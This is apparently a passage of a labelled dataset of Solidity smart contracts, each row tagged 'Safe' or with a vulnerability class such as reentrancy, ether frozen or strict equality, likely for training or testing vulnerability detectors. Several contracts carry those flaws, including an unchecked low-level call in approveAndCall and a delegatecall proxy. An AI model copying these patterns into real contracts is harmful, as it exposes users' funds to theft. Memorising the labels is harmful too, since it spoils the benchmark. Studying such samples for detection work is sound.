*/ function onTransfer(address _from, address _to, uint _amount) public returns(bool success) { if ( _from == vaultAddress || transfersEnabled) { return true; } _to; _amount; return false; } /** * @notice Notifies the controller about an approval, for this BaseTokenSale all * approvals are allowed by default and no extra notifications are needed * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) public returns(bool success) { if ( _owner == vaultAddress ) { return true; } _spender; _amount; return false; } event info(string name, string msg); event info256(string name, uint256 value); /// @dev `doPayment()` is an internal function that sends the ether that this /// contract receives to the `vault` and creates tokens in the address of the /// `_owner` assuming the BaseTokenSale is still accepting funds /// @param _owner The address that will hold the newly created tokens function doPayment(address _owner) internal returns(bool success) { //info(""step"", ""enter doPayment""); require(msg.value >= minFunding); require(endFundingTime > now); // Track how much the BaseTokenSale has collected require(totalCollected < maximumFunding); totalCollected = totalCollected.add(msg.value); //Send the ether to the vault require(vaultAddress.send(msg.value)); uint256 tokenValue = tokensPerEther.mul(msg.value); // Creates an equal amount of tokens as ether sent. The new tokens are created in the `_owner` address require(tokenContract.generateTokens(_owner, tokenValue)); uint256 lock1 = tokenValue / 10; //前5个月按照每月10%锁定 uint256 lock2 = tokenValue / 5; //最后一个月解锁20% require(tokenContract.freeze(_owner, lock1, 0)); //私募第一轮解锁 tokenContract.freeze(_owner, lock1, 1); //私募第二轮解锁 tokenContract.freeze(_owner, lock1, 2); tokenContract.freeze(_owner, lock1, 3); tokenContract.freeze(_owner, lock1, 4); tokenContract.freeze(_owner, lock2, 5); //require(tokenContract.freeze(_owner, lock3, 5)); //私募第三轮解锁 Payment(_owner, msg.value, tokenValue); return true; } function changeTokenController(address _newController) onlyController public { tokenContract.changeController(_newController); } /** * 修改TNB兑换比率 */ function changeTokensPerEther(uint256 _newRate) onlyController public { require(allowChange); tokensPerEther = _newRate; } function changeFundingLimit(uint256 _min, uint256 _max) onlyController public { require(_min > 0 && _min <= _max); minFunding = _min; maxFunding = _max; } /** * 允许普通用户转账 */ function allowTransfersEnabled(bool _allow) onlyController public { transfersEnabled = _allow; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) { return false; } uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } /// @notice `finalizeSale()` ends the BaseTokenSale. It will generate the platform and team tokens /// and set the controller to the referral fee contract. /// @dev `finalizeSale()` can only be called after the end of the funding period or if the maximum amount is raised. function finalizeSale() onlyController public { require(now > endFundingTime || totalCollected >= maximumFunding); require(!finalized); //20000 TNB/ETH and 90 percent discount uint256 totalTokens = totalCollected * tokensPerEther * 10**18; if (!tokenContract.generateTokens(vaultAddress, totalTokens)) { revert(); } finalized = true; allowChange = false; } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { if (_token == 0x0) { controller.transfer(this.balance); return; } ERC20Token token = ERC20Token(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); /// @notice Pauses the contribution if there is any issue function pauseContribution() onlyController public { paused = true; } /// @notice Resumes the contribution function resumeContribution() onlyController public { paused = false; } modifier notPaused() { require(!paused); _; } }",Safe,8,8 31528.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract JLSCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'J1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function JLSCoin( ) { balances[msg.sender] = 50000000*10**8; // Give the creator all initial tokens (100000 for example) totalSupply = 50000000*10**8; // Update total supply (100000 for example) name = ""Jules Coin""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""JLS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 22345.sol,"pragma solidity ^0.4.21; contract Proxied { address public masterCopy; } contract Proxy is Proxied { function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract DutchExchangeProxy is Proxy { function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { } }",./Dataset/ether frozen (EF),2,2 0x04ff119b7eed896ae24b21669b18e6b964af6343_RewardHoDLers.sol,"pragma solidity ^0.4.21; /*** * ________ _______ ___ __ ________ ________ ________ *|\ __ \|\ ___ \ |\ \ |\ \|\ __ \|\ __ \|\ ___ \ *\ \ \|\ \ \ __/|\ \ \ \ \ \ \ \|\ \ \ \|\ \ \ \_|\ \ * \ \ _ _\ \ \_|/_\ \ \ __\ \ \ \ __ \ \ _ _\ \ \ \\ \ * \ \ \\ \\ \ \_|\ \ \ \|\__\_\ \ \ \ \ \ \ \\ \\ \ \_\\ \ * \ \__\\ _\\ \_______\ \____________\ \__\ \__\ \__\\ _\\ \_______\ * \|__|\|__|\|_______|\|____________|\|__|\|__|\|__|\|__|\|_______| * * * * ___ ___ ________ ________ ___ _______ ________ ________ *|\ \|\ \|\ __ \|\ ___ \|\ \ |\ ___ \ |\ __ \|\ ____\ *\ \ \\\ \ \ \|\ \ \ \_|\ \ \ \ \ \ __/|\ \ \|\ \ \ \___|_ * \ \ __ \ \ \\\ \ \ \ \\ \ \ \ \ \ \_|/_\ \ _ _\ \_____ \ * \ \ \ \ \ \ \\\ \ \ \_\\ \ \ \____\ \ \_|\ \ \ \\ \\|____|\ \ * \ \__\ \__\ \_______\ \_______\ \_______\ \_______\ \__\\ _\ ____\_\ \ * \|__|\|__|\|_______|\|_______|\|_______|\|_______|\|__|\|__|\_________\ * \|_________| * * ""Rewards Token HoDLers on https://eth.h4d.io"" * What? * -> Holds onto H4D tokens, and can ONLY reinvest in the HoDL4D contract and accumulate more tokens. * -> This contract CANNOT sell, give, or transfer any tokens it owns. */ contract Hourglass { function buyPrice() public {} function sellPrice() public {} function reinvest() public {} function myTokens() public view returns(uint256) {} function myDividends(bool) public view returns(uint256) {} } contract RewardHoDLers { Hourglass H4D; address public H4DAddress = 0xeB0b5FA53843aAa2e636ccB599bA4a8CE8029aA1; function RewardHoDLers() public { H4D = Hourglass(H4DAddress); } function makeItRain() public { H4D.reinvest(); } function myTokens() public view returns(uint256) { return H4D.myTokens(); } function myDividends() public view returns(uint256) { return H4D.myDividends(true); } }",Safe,8,8 33193.sol,"pragma solidity ^0.4.18; contract ZipperMultisigFactory { address zipper; function ZipperMultisigFactory(address _zipper) public { zipper = _zipper; } function createMultisig() public returns (address _multisig) { address[] memory addys = new address[](2); addys[0] = zipper; addys[1] = msg.sender; MultiSigWallet a = new MultiSigWallet(addys, 2); MultisigCreated(address(a), msg.sender, zipper); return address(a); } function changeZipper(address _newZipper) public { require(msg.sender == zipper); zipper = _newZipper; } event MultisigCreated(address _multisig, address indexed _sender, address indexed _zipper); } // b7f01af8bd882501f6801eb1eea8b22aa2a4979e from https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGuess_wis(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }",./Dataset/ether strict equality (SE),3,3 2071.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } interface JIincInterfaceForForwarder { function deposit(address _addr) external payable returns (bool); } contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; otherFoMo3D private otherF3D_; DiviesInterface constant private Divies = DiviesInterface(0xb804dc1719852c036724944c7bbf7cb261609f88); JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0xe5f55d966ef9b4d541b286dd5237209d7de9959f); JIincForwarderInterface constant private otherF3DInc=JIincForwarderInterface(0x489da84a400bb7852de0ed986b733e771aebf648); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x58216fec6402978f53aab6b475fd68fd44cff8c6); F3DexternalSettingsInterface constant private extSettings = F3DexternalSettingsInterface(0xdad91de8238386cacc3a797083aa14ffc855d2e5); string constant public name = ""FoMo3D Long Official""; string constant public symbol = ""F3D""; uint256 private rndExtra_ = extSettings.getLongExtra(); uint256 private rndGap_ = extSettings.getLongGap(); uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 